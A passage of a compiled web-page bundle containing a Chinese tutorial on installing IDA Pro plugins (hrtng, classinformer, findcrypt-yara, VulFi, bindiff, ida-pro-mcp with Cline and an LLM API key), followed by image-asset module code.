0295",src:i(64410).A+"",width:"612",height:"640"})}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"enumlib\n\nauto_enum.py\n\nida-plugin.json\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u590d\u5236\u5230ida/plugins\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"6hrtng\u63d2\u4ef6\u5b89\u88c5",children:"6.hrtng\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u6ce8\uff1a\u5982\u679c\u5b89\u88c5\u4e86Hrtng\u53ef\u4ee5\u4e0d\u5b89\u88c5D810\u63d2\u4ef6"}),"\n",(0,d.jsx)(s.p,{children:"\u9ad8\u4eae\u62ec\u53f7,\u91cd\u5b9a\u4e49\u5173\u952e\u51fd\u6570\u58f0\u660e,\u6808\u5b57\u7b26\u4e32\u8bc6\u522b,\u53cdollvm\u7b49\u529f\u80fd"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/KasperskyLab/\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u4e0b\u8f7drelease\u5305\u540e\u89e3\u538b,\u590d\u5236plugins/windows/9.0/hrtng.dll\u5230ida/plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"7classinformer\u63d2\u4ef6\u5b89\u88c5",children:"7.classinformer\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/herosi/classinformer\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u53cd\u7f16\u8bd1C++\u7684\u65f6\u5019\u9700\u8981\u7528\u5230\uff0c\u53ef\u4ee5\u6839\u636eRTTI\u7b49\u4fe1\u606f\u7efc\u5408\u6062\u590d\u7c7bClass\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u4f8b\u5982\u7ee7\u627f\u4fe1\u606f\uff0c\u7c7b\u540d\u7b49\u3002"}),"\n",(0,d.jsx)(s.p,{children:"\u4e0b\u8f7drelease\u5305\u540e\u5c06Classinformer64.dll\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"8dereferencing\u63d2\u4ef6\u5b89\u88c5",children:"8.deREferencing\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u4e2a\u662f\u8c03\u8bd5\u91cc\u9762\u7528\u7684\uff0c\u5b83\u53ef\u4ee5\u8ffd\u8e2a\u67d0\u4e00\u4e2a\u5730\u5740\u6307\u5411\u4ec0\u4e48\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u77e5\u9053\u5bc4\u5b58\u5668\u6216\u662f\u5185\u5b58\u5730\u5740\u5230\u5e95\u6307\u5411\u8c01\uff0c\u6709\u4ec0\u4e48\u610f\u4e49"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/danigargu/deREferencing\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u8c03\u8bd5\u65f6\u4f7f\u7528,\u8ffd\u8e2a\u6808\u548c\u5bc4\u5b58\u5668\u6307\u5411\u7684\u5185\u5bb9"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06dereferencing.py\u548cdereferencing\u6587\u4ef6\u5939\u590d\u5236\u5230ida/plugins\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"9ida-dataexportplus\u63d2\u4ef6\u5b89\u88c5",children:"9.IDA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"IDA\u672c\u8eab\u81ea\u5e26\u4e00\u4e2a\u5bfc\u51fa\u529f\u80fd\uff0c\u4f46\u662f\u6709\u70b9\u9e21\u808b\uff0c\u672c\u63d2\u4ef6\u53ef\u5c06\u5bfc\u51fa\u6570\u636e\u8fdb\u884c\u683c\u5f0f\u7684\u81ea\u5b9a\u4e49"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/Krietz7/IDA-DataExportPlus\n"})}),"\n",(0,d.jsx)(s.p,{children:"shift+e \u6570\u636e\u63d0\u53d6\u5f3a\u5316\u7248,\u5c06DataExportPlus.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"10findhash\u63d2\u4ef6\u5b89\u88c5",children:"10.findhash\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u9879\u76ee\u5730\u5740"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/Pr0214/findhash\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u8be5\u63d2\u4ef6\u53ef\u4ee5\u641c\u7d22\u51fa\u88ab\u9b54\u6539\u7684\u54c8\u5e0c\u7b97\u6cd5"}),"\n",(0,d.jsx)(s.p,{children:"\u628afindhash.xml\u548cfindhash.py\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"11wpechatgp\u63d2\u4ef6\u5b89\u88c5",children:"11.WPeChatGP\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06requirements.txt\u548cwpechatgpt.py\u4ee5\u53caauto-wpegpt_wpeace\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134934100",src:i(85987).A+"",width:"489",height:"303"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\u5b89\u88c5\u6240\u9700\u5305"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{children:" pip install -r ./requirements.txt\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916233527145",src:i(78420).A+"",width:"1080",height:"474"})}),"\n",(0,d.jsxs)(s.p,{children:["\u4fee\u6539\u811a\u672c ",(0,d.jsx)(s.code,{children:"WPeChatGPT.py"}),"\uff0c\u6dfb\u52a0 API key \u5230\u53d8\u91cf ",(0,d.jsx)(s.em,{children:(0,d.jsx)(s.strong,{children:"openai.api_key"})}),"\u3002\uff08\u540e\u9762\u4f1a\u5199\u5982\u4f55\u5bf9\u5176API\u8fdb\u884c\u7533\u8bf7\uff09"]}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u91cc\u9700\u8981\u4fee\u6539plugin_name\u4ee5\u53camodel\u548ccilent\u53c2\u6570\u8fdb\u884c\u4fee\u6539"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916235303441",src:i(36971).A+"",width:"1080",height:"749"})}),"\n",(0,d.jsx)(s.p,{children:"\u6700\u540e\u91cd\u542f IDA \u540e\u5373\u53ef\u4f7f\u7528"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000812789",src:i(11309).A+"",width:"848",height:"818"})}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u91cc\u6ce8\u518c\u6296\u97f3\u7684API\uff08\u5c06\u6ce8\u518c\u597d\u7684API\u586b\u5165\u5230\u914d\u7f6e\u6587\u4ef6\u5373\u53ef\uff09"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://console.volcengine.com/ark/region:ark+cn-beijing/model?vendor=Bytedance&view=DEFAULT_VIEW\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u7acb\u5373\u4f53\u9a8c\u9ed8\u8ba4\u63d0\u4f9bGUI\u754c\u9762,\u9009\u62e9API\u63a5\u5165"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"API\u63a5\u5165",src:i(90899).A+"",width:"1080",height:"493"})}),"\n",(0,d.jsxs)(s.p,{children:["\u521b\u5efaAPI Key,\u540d\u79f0\u4efb\u610f,\u521b\u5efa\u540e\u590d\u5236\u5e76\u4fdd\u5b58API Key,\u540e\u7eed\u4f7f\u7528\u6a21\u578b\u4f9d\u8d56\u8be5Key(",(0,d.jsx)(s.strong,{children:"\u6ce8\u610f\u4e0d\u8981\u6cc4\u9732"}),")"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"APIKey",src:i(7194).A+"",width:"1080",height:"494"})}),"\n",(0,d.jsx)(s.p,{children:"\u4e4b\u540e\u9009\u62e9\u81ea\u5b9a\u4e49\u63a8\u7406\u63a5\u5165\u70b9>\u521b\u5efa\u63a8\u7406\u63a5\u5165\u70b9"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"\u521b\u5efa\u63a8\u7406\u63a5\u5165\u70b9",src:i(97398).A+"",width:"1080",height:"490"})}),"\n",(0,d.jsx)(s.p,{children:"\u81ea\u884c\u8bbe\u7f6e\u63a5\u5165\u70b9\u540d\u79f0,\u6a21\u578b,\u786e\u8ba4\u63a5\u5165"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"img",src:i(72897).A+"",width:"1080",height:"483"})}),"\n",(0,d.jsx)(s.p,{children:"\u9009\u62e9\u6a21\u578b"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"\u9009\u62e9\u6a21\u578b",src:i(44133).A+"",width:"1080",height:"494"})}),"\n",(0,d.jsx)(s.p,{children:"\u521b\u5efa\u597d\u540e\u590d\u5236\u6a21\u578bid\u548c\u4e4b\u524d\u7684API Key"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"\u6a21\u578bid",src:i(4954).A+"",width:"1080",height:"663"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916235303441",src:i(82676).A+"",width:"1080",height:"749"})}),"\n",(0,d.jsx)(s.h3,{id:"12hexrayscodexplorer\u63d2\u4ef6\u5b89\u88c5",children:"12.HexRaysCodeXplorer\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u81ea\u52a8\u8bc6\u522b\u7ed3\u6784\u4f53\uff0c\u663e\u793aC++\u865a\u51fd\u6570\uff0c\u751f\u6210\u51fd\u6570\u7ed3\u6784\u6811\u7b49"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.a,{href:"https://www.52pojie.cn/forum.php?mod=viewthread&tid=1999905&highlight=HexRaysCodeXplorer",children:"https://www.52pojie.cn/forum.php?mod=viewthread&tid=1999905&highlight=HexRaysCodeXplorer"})}),"\n",(0,d.jsx)(s.p,{children:"\u5c06HexRaysCodeXplorer64.dll\u76f4\u63a5\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917091822509",src:i(71657).A+"",width:"852",height:"750"})}),"\n",(0,d.jsx)(s.h3,{id:"13da-dataexportplus\u63d2\u4ef6\u5b89\u88c5",children:"13.DA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.a,{href:"https://github.com/Krietz7/IDA-DataExportPlus",children:"https://github.com/Krietz7/IDA-DataExportPlus"})}),"\n",(0,d.jsx)(s.p,{children:"\u4e00\u4e2a\u7528\u4e8e\u5bfc\u51fa\u6570\u636e\u7684IDA PRO\u63d2\u4ef6\uff0c\u5b83\u53ef\u4ee5\u66ff\u6362IDA Pro\u539f\u59cb\u7684\u6570\u636e\u5bfc\u51fa\u7a97\u53e3\u3002 \u8be5\u63d2\u4ef6\u652f\u6301\u57fa\u4e8e\u4e0d\u540c\u6570\u636e\u7c7b\u578b\u7684\u6570\u636e\u5bfc\u51fa\uff0c\u5305\u62ec\u4e0d\u540c\u5927\u5c0f\u7684\u6574\u6570\u548c\u6d6e\u70b9\u7c7b\u578b\u3002\u9664\u6b64\u4e4b\u5916\u4e5f\u652f\u6301\u5bfc\u51fa\u6c47\u7f16\u4ee3\u7801\u3002"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06dataexportplus.py\u590d\u5236\u5230IDA\u63d2\u4ef6\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.p,{children:"\u4f7f\u7528\u65b9\u6cd5"}),"\n",(0,d.jsxs)(s.p,{children:["\u4f7f\u7528\u5feb\u6377\u952e",(0,d.jsx)(s.code,{children:"Shift+E"}),"\u4ee5\u5524\u51fa\u63d2\u4ef6\u7a97\u53e3"]}),"\n",(0,d.jsx)(s.h3,{id:"14findcrypt-yara-\u63d2\u4ef6\u5b89\u88c5",children:"14.findcrypt-yara \u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5e38\u89c1\u52a0\u5bc6\u7b97\u6cd5\u8bc6\u522b"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/polymorf/findcrypt-yara\n"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"findcrypt3.py"}),"\u548c",(0,d.jsx)(s.code,{children:"findcrypt3.rules"}),"\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917093529299",src:i(45077).A+"",width:"281",height:"273"})}),"\n",(0,d.jsxs)(s.p,{children:["\u7136\u540e\u5728python\u7684\u5b89\u88c5\u76ee\u5f55\u4e0b\u7684\\Lib\\site-packages\u4e0b\u4f1a\u6709\u4e00\u4e2a",(0,d.jsx)(s.code,{children:"yara.cp310-win_amd64.pyd"}),"\u6587\u4ef6\uff0c\u5c06\u8be5\u6587\u4ef6\u590d\u5236\u5230`\\IDA\\python\\lib-dynload\u4e0b\uff0c\u7136\u540e\u91cd\u542fIDA\u5373\u53ef\u751f\u6548\u3002"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917093722785",src:i(98443).A+"",width:"802",height:"701"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917093743407",src:i(71046).A+"",width:"369",height:"312"})}),"\n",(0,d.jsx)(s.h3,{id:"15vulfi\u63d2\u4ef6\u5b89\u88c5",children:"15.VulFi\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"VulFi\uff0c\u5373\u201c\u6f0f\u6d1e\u53d1\u73b0\u8005\u201d\uff0c\u5b83\u662f\u4e00\u4e2aIDA Pro\u63d2\u4ef6\uff0c\u53ef\u4ee5\u5e2e\u52a9\u5e7f\u5927\u7814\u7a76\u4eba\u5458\u5728\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u67e5\u627e\u6f0f\u6d1e"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/Accenture/VulFi\n"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"vulfi.py"}),"\u3001",(0,d.jsx)(s.code,{children:"vulfi_prototypes.json"}),"\u548c",(0,d.jsx)(s.code,{children:"vulfi_rules.json"}),"\u6587\u4ef6\u653e\u5728",(0,d.jsx)(s.code,{children:"ida/plugins"}),"\u76ee\u5f55\u4e0b"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917095110444",src:i(52253).A+"",width:"879",height:"699"})}),"\n",(0,d.jsx)(s.h3,{id:"16sigmaker\u63d2\u4ef6\u5b89\u88c5",children:"16.SigMaker\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u7528\u4e8e\u5feb\u901f\u521b\u5efa\u67d0\u4e00\u4e2a\u51fd\u6570\u7684\u5b57\u8282\u5e8f\u5217\uff08\u51fd\u6570\u7b7e\u540d\uff09\uff0c\u53ef\u7528\u4e8e\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u4e4b\u95f4\u7684\u76f8\u4f3c\u51fd\u6570\u8bc6\u522b\u3002"}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"SigMaker9_64.dll"}),"\u6587\u4ef6\u590d\u5236\u5230",(0,d.jsx)(s.code,{children:"ida/plugins"}),"\u76ee\u5f55\u4e0b\u5373\u53ef"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917100448128",src:i(46374).A+"",width:"769",height:"484"})}),"\n",(0,d.jsx)(s.h3,{id:"17idaclu\u63d2\u4ef6\u5b89\u88c5",children:"17.idaclu\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5927\u91cf\u51fd\u6570\u4e2d\u53ef\u4ee5\u5bf9\u51fd\u6570\u8fdb\u884c\u5206\u7c7b\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u77e5\u9053\u54ea\u4e9b\u51fd\u6570\u4e0d\u592a\u5e73\u5e38\uff0c\u6709\u52a9\u4e8e\u5feb\u901f\u5b9a\u4f4d\u5173\u952e\u51fd\u6570\u3002"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://codeload.github.com/harlamism/IdaClu/zip/refs/tags/v1.1\n"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06 ",(0,d.jsx)(s.code,{children:"idaclu.py"})," \u6587\u4ef6\u548c ",(0,d.jsx)(s.code,{children:"idaclu"})," \u6587\u4ef6\u5939\u590d\u5236\u5230 IDA Pro \u63d2\u4ef6\u76ee\u5f55\u5373\u53ef"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917101031082",src:i(75255).A+"",width:"369",height:"312"})}),"\n",(0,d.jsx)(s.h3,{id:"18bindiff\u63d2\u4ef6\u5b89\u88c5",children:"18.bindiff\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"binexport12_ida64.dll"}),"\u548c",(0,d.jsx)(s.code,{children:"bindiff8_ida64.dll"}),"\u590d\u5236\u5230",(0,d.jsx)(s.code,{children:"ida/plugins"}),"\u5373\u53ef"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917102521421",src:i(94008).A+"",width:"760",height:"376"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917102547530",src:i(75373).A+"",width:"1080",height:"754"})}),"\n",(0,d.jsx)(s.h3,{id:"19ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528",children:"19.ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528"}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u6761\u4ef6\u9700\u8981\u5b89\u88c5Git-2.51.0-64-bit"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917111923808",src:i(90079).A+"",width:"291",height:"220"})}),"\n",(0,d.jsx)(s.p,{children:"2.\u8fdb\u5165python311\u76ee\u5f55\u5e76\u6253\u5f00\u7ec8\u7aef"}),"\n",(0,d.jsx)(s.p,{children:"\u5b89\u88c5MCP"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{children:" python.exe -m pip install --upgradegit+https://github.com/mrexodia/ida-pro-mcp\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917111834454",src:i(3961).A+"",width:"1080",height:"574"})}),"\n",(0,d.jsx)(s.p,{children:"\u8fdb\u5165IDAPython\u7684Scripts\u76ee\u5f55\u8fd0\u884cida-pro-mcp.exe\u8fdb\u884c\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917112116820",src:i(38371).A+"",width:"709",height:"696"})}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u9700\u8981\u5b89\u88c5\u8fc7vs code\u548ccline"}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u91cc\u76f4\u63a5\u5b89\u88c5VSCodeUserSetup-x64-1.104.0.exe\u5c31\u884c"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917122916258",src:i(24296).A+"",width:"648",height:"675"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u8f93\u5165\u4ee5\u4e0b\u5730\u5740"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.a,{href:"https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev",children:"https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev"})}),"\n",(0,d.jsx)(s.p,{children:"\u70b9\u51fbinstall\u8fdb\u884c\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917113845728",src:i(27581).A+"",width:"932",height:"724"})}),"\n",(0,d.jsxs)(s.p,{children:["\u6216\u8005\u6253\u5f00Vscode\u7684\u5de6\u4fa7",(0,d.jsx)(s.code,{children:"\u6269\u5c55"}),"\u83dc\u5355\u680f\uff0c\u641c\u7d22",(0,d.jsx)(s.code,{children:"Cline"}),"\uff0c\u70b9\u51fb\u5b89\u88c5",(0,d.jsx)(s.code,{children:"Cline"}),"\u3002"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917123034976",src:i(96730).A+"",width:"1080",height:"341"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5ida-pro-mcp"}),"\n",(0,d.jsx)(s.p,{children:"python311\\Scripts\\ida-pro-mcp.exe --install"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917114542998",src:i(29811).A+"",width:"1080",height:"508"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5b89\u88c5\u6210\u529f\u540e\uff0c\u70b9\u51fb\u5de6\u4fa7\u7684",(0,d.jsx)(s.code,{children:"Cline"}),"\u83dc\u5355\u680f\u914d\u7f6e\u5927\u6a21\u578b\u7684API\u3002\u5c06",(0,d.jsx)(s.code,{children:"API Provider"}),"\u9009\u62e9\u4e3a",(0,d.jsx)(s.code,{children:"DeepSeek"}),"\uff0c\u952e\u5165",(0,d.jsx)(s.code,{children:"DeepSeek API Key"}),"\u503c\u3002\uff08\u4f60\u4e5f\u53ef\u4ee5\u9009\u62e9\u5176\u5b83\u7684API\u63d0\u4f9b\u5546\u53ca\u5176API Key\uff09\u8fd9\u91cc\u6211\u4f7f\u7528\u7684\u6296\u97f3\u7684\u706b\u5c71\u65b9\u821f\u7684API\u5f15\u7528\uff08\u524d\u9762\u5df2\u7ecf\u8bb2\u8fc7\u600e\u4e48\u53bb\u6ce8\u518c\uff09"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917133930243",src:i(57919).A+"",width:"431",height:"691"})}),"\n",(0,d.jsx)(s.p,{children:"\u6216\u8005\u4f7f\u7528\u672c\u5730ollam\u6a21\u578b"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917124817498",src:i(20076).A+"",width:"504",height:"848"})}),"\n",(0,d.jsx)(s.p,{children:"\u5230IDA\u4e2d\u542f\u52a8MCP-Server\uff08\u7f16\u8f91\u2013\u63d2\u4ef6\u2013MCP)"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"IDA-MCP-ida-\u542f\u52a8mcp-server",src:i(51650).A+"",width:"863",height:"1039"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917114852108",src:i(10013).A+"",width:"1080",height:"736"})}),"\n",(0,d.jsx)(s.p,{children:"\u5728Cline\u7684\u754c\u9762\u4e0a\u4e0b\u90fd\u53ef\u4ee5\u627e\u5230\u670d\u52a1\u5668\u56fe\u6807\uff0c\u70b9\u51fb\u6dfb\u52a0MCP\u670d\u52a1\u5668\uff0c\u6dfb\u52a0\u6210\u529f\u540e\uff0c\u5c31\u53ef\u4ee5\u542f\u7528\uff0c\u5f00\u5173\u53d8\u201c\u7eff\u8272\u201d\uff1a"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917123458381",src:i(44635).A+"",width:"765",height:"752"})}),"\n",(0,d.jsx)(s.p,{children:"\u53ef\u4ee5\u770b\u5230\u6210\u529f\u8fdb\u884c\u8054\u52a8"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917133840479",src:i(50287).A+"",width:"1080",height:"679"})}),"\n",(0,d.jsx)(s.p,{children:"\u672c\u6587\u76f8\u5173\u7684\u5de5\u5177\u4e0b\u8f7d\u5730\u5740\uff1a\u8bf7\u5173\u6ce8\u516c\u4f17\u53f7\uff0c\u5173\u952e\u5b57\u56de\u590d\u201c20251105\u201d"})]})}function p(e={}){const{wrapper:s}={...(0,a.R)(),...e.components};return s?(0,d.jsx)(s,{...e,children:(0,d.jsx)(r,{...e})}):r(e)}},24296:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png"},27581:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png"},28453:(e,s,i)=>{i.d(s,{R:()=>c,x:()=>t});var n=i(96540);const d={},a=n.createContext(d);function c(e){const s=n.useContext(a);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function t(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:c(e.components),n.createElement(a.Provider,{value:s},e.children)}},29811:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png"},36971:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png"},38371:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png"},41551:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png"},44133:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png"},44635:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png"},44723:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png"},45077:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png"},46374:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png"},50125:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png"},50287:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png"},51650:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png"},51906:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png"},52253:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png"},57919:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png"},64410:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png"},65343:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png"},71046:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png"},71657:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png"},72884:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png"},72897:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png"},74772:(e,s,i)=>{i.d(s,{A:()=>n});const n=i.p+"assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png"},75255:(e,s,i)=>{i.d(s,{A:()=>n});const 